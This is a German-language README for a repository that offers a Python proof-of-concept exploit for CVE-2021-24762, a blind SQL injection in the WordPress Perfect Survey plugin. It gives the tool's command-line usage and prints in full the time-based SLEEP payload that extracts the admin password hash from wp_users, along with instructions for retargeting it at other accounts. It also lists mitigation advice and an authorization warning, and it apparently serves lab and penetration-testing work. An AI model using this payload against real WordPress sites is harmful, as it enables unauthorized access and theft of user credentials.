exploit_cve-2021-24762

Dieses Repository zeigt einen Exploit für CVE-2021-24762. Es handelt sich um einen Blind-SQLi-Exploit, der in der Standardkonfiguration das Admin-Passwort ausliest.

Während ich ein Labor auf Basis von WordPress mit dem PerfectSurvey-Plugin durchführte, blieb ich bei einer SQL-Schwachstelle hängen. Die einzigen verfügbaren PoCs, die ich fand, basierten auf sqlmap und funktionierten in dem Labor, an dem ich arbeitete, nicht richtig (es gab viele zusätzliche Probleme, z. B. gab die Anwendung 404 zurück, die Timeouts variierten zu stark und andere Probleme. Also habe ich dies erstellt, um das Labor auszunutzen.

Ziele

• Dieser PoC nutzt CVE-2021-24762 aus, der mit dem WordPress-Plugin Perfect Survey zusammenhängt. Der Exploit basiert auf einer SQL-Injection mit SLEEP und erhält den Passwort-Hash des Benutzers 'admin'. Dieser Benutzer ist in WordPress-Umgebungen standardmäßig vorhanden.
• Wo es funktioniert: Perfect Survey Plugin in Versionen < 1.5.2.

Auswirkungen und Schweregrad

• CVE-2021-24762: [CVSS 9.8 (Kritisch)]
• Auswirkungen: Vertraulichkeit, Integrität, Verfügbarkeit, unbefugter Zugriff.

Umgebung

• Softwareanforderungen: Python3.

Verwendung

 ____     _      ___   ____
 / ___|   / \    |_ _| / ___|
| |      / _ \    | |  \___ \
| |___  / ___ \   | |   __ ) |
 \____|/_/   \_\ |___| |____/

   CAIS - Inteligência em Cibersegurança
   Exploit for: CVE-2021-24762

usage: exploit_cve-2021-24762.py [-h] [-u URL] [-p PATH] [-d DELAY] [-t TIMEOUT] [-c CHARSET] [-m MAX_LEN] [-v]

Safe CLI wrapper — receives url/path/delay/timeout/charset and forwards it

options:
  -h, --help            show this help message and exit
  -u, --url URL         Base URL (default: http://192.168.10.10)
  -p, --path PATH       path (default: /wp-admin/admin-ajax.php)
  -d, --delay DELAY     delay in seconds (default: 30)
  -t, --timeout TIMEOUT
                        timeout in seconds (default: delay + 15)
  -c, --charset CHARSET
                        charset to be used (default: alnum + ./$_-@)
  -m, --max-len MAX_LEN
                        maximum length (default: 20)
  -v, --verbose         activates log debugging

1. Das Python-Skript empfängt die oben genannten Parameter. Falls sie nicht übergeben werden, wird das Skript mit seinen Standardwerten ausgeführt.

2. Idealerweise müssen Sie mindestens die URL übergeben. Tun Sie dies mit -u oder --url. Andere Parameter werden wahrscheinlich mit den Standardwerten funktionieren.

3. In der Standardkonfiguration wird der Passwort-Hash des Benutzers admin abgerufen. Diese Konfiguration wird in der Payload-Variable im Wert von user_login angewendet: payload = f"1 AND (SELECT COUNT(*) FROM (SELECT 1 WHERE ORD(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login=0x61646d696e),{position},1))={ascii_code} AND SLEEP({delay})) AS a)"

   Falls Sie den Hash für einen anderen Benutzer ermitteln müssen, ändern Sie "0x61646d696e" (admin) entsprechend Ihren Anforderungen.

Risiken und Einschränkungen

• Einschränkung: In der aktuellen Konfiguration erhält dieser PoC nur Hashes für Passwörter in WordPress mit den standardmäßigen Datenbankstrukturen. Wenn Sie auf eine modifizierte Umgebung stoßen, müssen Sie diese Payload ändern: payload = f"1 AND (SELECT COUNT(*) FROM (SELECT 1 WHERE ORD(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login=0x61646d696e),{position},1))={ascii_code} AND SLEEP({delay})) AS a)"

Gegenmaßnahmen und Abhilfe (Empfehlungen)

• Empfehlungen zur Abschwächung: Aktualisieren Sie das Plugin auf Version 1.5.2 und höher.
• Referenzen:
  • https://nvd.nist.gov/vuln/detail/CVE-2021-24762
  • https://www.getperfectsurvey.com/

Warnung und Berechtigungen

Eingeschränkte Nutzung — Dieses Repository enthält sensible Inhalte, die ausschließlich für ethische und verantwortungsvolle Nutzung bestimmt sind. Denken Sie daran, dass Sie die schriftliche Erlaubnis des Eigentümers des Systems haben müssen, das Sie testen. Jegliche Nutzung außerhalb dieses Rahmens ist nicht gestattet und wird Ihnen zur Last gelegt (Wollen Sie ins Gefängnis?).

Repository-Struktur

• exploit_cve-2021-24762 — Exploit.
• README.ME — Diese Datei.

Änderungsprotokoll

2025-10-10 — c4cnm — Creation and initial modifications

Kontakt

• Autor: Red Team CAIS:/Matheus Camargo (c4cnm), [email protected].

Lizenz

GNU General Public License v3 (GPL)